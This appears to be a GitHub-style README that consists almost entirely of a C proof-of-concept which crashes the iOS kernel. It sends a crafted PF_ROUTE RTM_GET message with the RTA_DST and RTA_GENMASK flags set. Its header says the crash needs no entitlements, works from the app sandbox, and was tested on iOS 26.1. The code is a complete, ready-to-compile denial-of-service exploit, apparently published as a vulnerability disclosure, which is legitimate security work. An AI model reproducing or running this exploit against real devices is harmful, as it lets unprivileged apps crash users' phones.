README.md
Rendering markdown...
/*
* PF_ROUTE RTM_GET kernel panic PoC
*
* Trigger: RTM_GET with RTA_DST | RTA_GENMASK (0x09)
* Result: Kernel data abort at NULL+0x18 (radix node key deref)
* Access: No entitlements required, works from app sandbox
*
* Tested on: iOS 26.1 (xnu-12377.42.6)
*/
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#define RTM_VERSION 5
#define RTM_GET 4
#define RTA_DST 0x01
#define RTA_GENMASK 0x08
struct rt_metrics {
uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
int32_t rmx_expire;
uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
uint32_t rmx_filler[3];
};
struct rt_msghdr {
unsigned short rtm_msglen;
unsigned char rtm_version;
unsigned char rtm_type;
unsigned short rtm_index;
int rtm_flags;
int rtm_addrs;
int rtm_pid;
int rtm_seq;
int rtm_errno;
int rtm_use;
unsigned int rtm_inits;
struct rt_metrics rtm_rmx;
};
int main(void) {
int fd = socket(PF_ROUTE, SOCK_RAW, 0);
if (fd < 0) return 1;
char buf[256];
memset(buf, 0, sizeof(buf));
struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
rtm->rtm_type = RTM_GET;
rtm->rtm_version = RTM_VERSION;
rtm->rtm_seq = 1;
rtm->rtm_addrs = RTA_DST | RTA_GENMASK;
int off = sizeof(*rtm);
struct sockaddr_in *dst = (struct sockaddr_in *)(buf + off);
dst->sin_family = AF_INET;
dst->sin_len = sizeof(*dst);
dst->sin_addr.s_addr = inet_addr("8.8.8.8");
off += sizeof(*dst);
struct sockaddr_in *genmask = (struct sockaddr_in *)(buf + off);
genmask->sin_family = AF_INET;
genmask->sin_len = sizeof(*genmask);
genmask->sin_addr.s_addr = inet_addr("255.255.255.0");
off += sizeof(*genmask);
rtm->rtm_msglen = off;
write(fd, buf, rtm->rtm_msglen);
close(fd);
return 0;
}